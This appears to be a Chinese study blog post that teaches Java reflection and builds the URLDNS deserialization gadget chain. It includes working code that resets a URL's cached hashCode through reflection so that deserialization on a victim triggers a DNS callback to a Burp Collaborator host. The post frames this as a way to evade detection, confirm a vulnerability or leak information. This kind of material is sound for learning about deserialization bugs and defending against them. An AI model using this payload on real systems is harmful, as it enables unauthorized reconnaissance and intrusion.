反射&&URLDNS

反射

引出

按照上面的HashMapper进行测试

  • 先写HashMapper传入<url , integer>,传入url会继承Serializable 接口(所以可能存在反序列化触发点)

    1
    2
    3
    4
    5
    6
    7
    public static void main(String[] args) throws Exception {
        Person person = new Person("aa", 22);
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        hashmap.put(new URL("http://b10yq17n3kqn4ase0d6wwz9jfa109p.burpcollaborator.net"), 1);
        // System.out.println(person);
        serialize(hashmap);
    }

    测试发现可以序列化(服务端出现请求),但是反序列化没有输出

    不序列化也可以出现请求

  • 原因:

    在HashMapper初始化的时候,将hashcode=-1

    image-20251111220051455

    但是存在判断

    image-20251111220112576

    也就是说,初始化的时候是-1,但是在put之后,hashcode发生改变,从而实现序列化反序列化

  • 修复;

    在初始化的时候不要发起请求

    put之后,将hashcode变回-1;

    所以就用到了反射

入门

解释

反射对应正射

  • 正射

    就是正常的java代码流程(已知初始化类,new对象,操作对象)

  • 反射

    未知初始化类,所以new不了

作用

  • 反射的作用:让iava具有动态性

    ​ 由于java是强类型语言,写啥就是啥(String name)

    ​ 而php里面输入啥运行啥(eval< >)

    ​ 利用反射就可以实现动态化

  • 修改已有对象的属性

  • 动态生成对象

  • 动态调用方法操作内部类和私有方法

在反序列化漏洞的作用:

  • 定制需要的对象
  • 通过invoke调用除了同名函数以外的函数(以字符串接收方法,可以使用拼接实现绕过)
  • 通过Class类创建对象,引入不能序列化的类

实现

Person类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 假设存在Person类
class Person {
    public String name;
    private int age;

    public Person() {}

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + '}';
    }
}

实现:(就是利用class方法,从原型class里面实例化对象)

从原型class里面实例化对象

c.newInstance();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person();
        Class c = person.getClass();
        //反射就是操作Class

        //从原型class里面实例化对象
        //c.newInstance();
        Constructor personconstructor = c.getConstructor(String.class, int.class);
        Person p = (Person) personconstructor.newInstance("abc", 22);
        System.out.println(p);
    }
}

解析:

  • 利用class接收内容(进到class发现这个方法接收的参数是class类型 ,所以要写成String.class)
  • 对于想要反射的对象person,写入参数abc,22(分别对应string int )

输出:

image-20251112195345895

**获取类里面属性 **

  1. c.getFields()(是class的一个getFields()方法,返回一个 Field 数组)‘

    ​ 注意:getFields(),返回的数组是每个 Field 对象对应类中的一个公共字段(被 public 修饰的字段)
    **c.getDeclaredFields()**可以返回private

    1
    2
    3
    4
    5
    //获取类里面属性
    Field[] personfields = c.getFields();
    for(Field f:personfields){
        System.out.println(f);
    }

    解析:

    • 利用的是Field
    • 先建立一个名称为personfields的Field数组
    • 遍历数组到 f ( f 是临时存储当前遍历到的数组元素的变量)
    • 输出f

    输出:

    image-20251112200428428

    但是,此处的int类型的age没有打印出来
    原因:

    1
    2
    public String name;
    private int age;

    name是public,age是private

  2. 但是使用c.getDeclaredFields()即可打印

    image-20251112200939655

  3. 只传特定值(改变值)

    1
    2
    3
    Field namefield = c.getField("name");
    namefield.set(p,"saffs");
    System.out.println(p);

    把上面的p(先前使用c.newInstance()的输出)的name属性改为saffs

    输出:

    image-20251112220911332

    getField也是私有的private不能修改

    c.getDeclaredFields() namefield.setAccessible(true);即可

    1
    2
    3
    4
    Field namefield = c.getDeclaredField("age");
    namefield.setAccessible(true);
    namefield.set(p,25);
    System.out.println(p);

    改成这样就有权限了

调用类里面的方法

  1. 使用 c.getMethods();

    1
    2
    3
    4
    Method[] personmethods = c.getMethods();
    for(Method m: personmethods){
        System.out.println(m);
    }

    输出:(输出所有方法)

    image-20251113144532381

  2. 单个方法

    invoke()某个对象的某个方法

    1
    2
    Method actionmethod = c.getMethod("action", String.class);
    actionmethod.invoke(p, "dasqjfasqh");

    c.getMethod后面接收(方法名,class确切查询的类型)

    invoke(传对象,传参数)

    image-20251113144858506

  3. 调用私有(同上加一个setAccessible(true)即可)

    1
    2
    3
    Method actionmethod = c.getDeclaredMethod("action", String.class);
    actionmethod.setAccessible(true);
    actionmethod.invoke(p, "dasqjfasqh");

URLDNS 链

接上文的引出以及反射(URLDNS 链为例子)

1
2
3
4
5
6
7
public static void main(String[] args) throws Exception {
    Person person = new Person("aa", 22);
    HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
    hashmap.put(new URL("http://b10yq17n3kqn4ase0d6wwz9jfa109p.burpcollaborator.net"), 1);
    // System.out.println(person);
    serialize(hashmap);
}

java.net.URL 的 hashCode() 方法中,会触发 DNS 请求 到该 URL 的主机名(host)

现在的目的就是利用这条链

分析

  • 目标是调用url类的hashcode类的方法

    跟进到url

    找到hashcode方法

    image-20251113170516163

  • 在put的时候(跟进看看)

    1
    2
    3
    public V put(K key, V value) {
            return putVal(hash(key), key, value, false, true);
        }

    put调用hash(跟进hash)

  • image-20251113170826406

    发现hash调用了hashcode

    所以put会发起请求

    也就是说,是-1(初始化)就会发起请求

    发起请求的作用:

    ​ 发起请求是 攻击者想要的副作用,不是防护措施。相反它被用作 证据 或 辅助手段 来利用漏洞

  • 也就是到了url里面的hashcode判断

    image-20251113203025497

  • 跟进hashCode

    image-20251113203100761

    getHostAddress(u) 会尝试把 URL 中的主机名解析成一个 InetAddress 对象(也就是 IP 地址), 如果主机名解析成功(addr 不为 null),就把解析出来的 IP 地址的 hashCode() 加入到 h(整个 URL 的哈希值)里 ; 如果 DNS 没解析成功(addr == null),那就直接取 URL 原始的 host 字符串

  • 跟进getHostAddress

    image-20251113203345092

    • 如果 host 是 IP 地址,直接转换成 InetAddress,不会走 DNS
    • 如果 host 是域名,这里就会向系统的 DNS 解析器 发起请求,解析成 IP

利用

攻击者希望 在构造 / 传输阶段不触发外联(避免被检测或提前暴露),但希望 在受害者反序列化时触发外联(证明漏洞或泄露信息)。因此:在构造时先把 hashCode 计算并缓存(≠ -1),再用反射把它改回 -1;序列化时不会触发;反序列化时会触发。

1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception {
    Person person = new Person("aa", 22);
    HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
    //不要在此处发起请求
    hashmap.put(new URL("http://b10yq17n3kqn4ase0d6wwz9jfa109p.burpcollaborator.net"), 1);
    //通过这里将hashcode改为-1(利用反射)
    serialize(hashmap);
}

修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
//    Person person = new Person("aa",22);
    HashMap<URL, Integer> hashmap= new HashMap<>();
    
    //这里不要发起请求,把url对象的hashcode改成不是-1
    URL url = new URL("http://dta2x89uikgnnjtbztk9yexyepkh86.burpcollaborator.net");
    Class c = url.getClass();
    Field hashcodefield = c.getDeclaredField("hashCode");
    hashcodefield.setAccessible(true);
    hashcodefield.set(url,1234);
    hashmap.put(url,1);
    
    //这里把hashcode改回-1
    //通过反射 改变已有对象的属性
    hashcodefield.set(url,-1);
    serialize(hashmap);
}

没改之前,在序列化 就会受收到DNS请求(相当于是在本地发起请求,自己接收自己,不知道使用者能不能反馈)

(序列化本身没有发起 dns请求,是因为 HashMap 在序列化过程中调用了 URL.hashCode() ,URL.hashCode() 解析主机名发起 DNS 请求)

修改之后,序列化无请求,反序列化有请求(接受用户会显示dns)

核心

  • new一个对象,对象里面放url

  • 将这个对象放在hashmap里面

  • 进行序列化

  • 最终通过反序列的dns请求,触发对 URL 中主机的 DNS 查询或网络请求

    通过外部可观测的 DNS/HTTP 回连(OOB)来确认漏洞或窃取少量信息

流程

HashMap.readObject()

-> HashMap.putVal()

-> HashMap.hash()

-> URL.hashCode()

-> URLStreamHandler.hashCode()

-> URLStreamHandler.hashCode.getHostAddress()

-> getHostAddress.InetAddress.getByName() 这里发出 DNS 请求

  1. 入口A HashMap 接受参数O
  2. 目标类B URL
  3. 目标调用B.f
  4. A.readObject -> O.f -> 将B传入替换O-> 即调用B.f

反射&&URLDNS
http://example.com/2025/11/14/反射&&URLDNS/
作者
Piggy Sprint
发布于
2025年11月14日
许可协议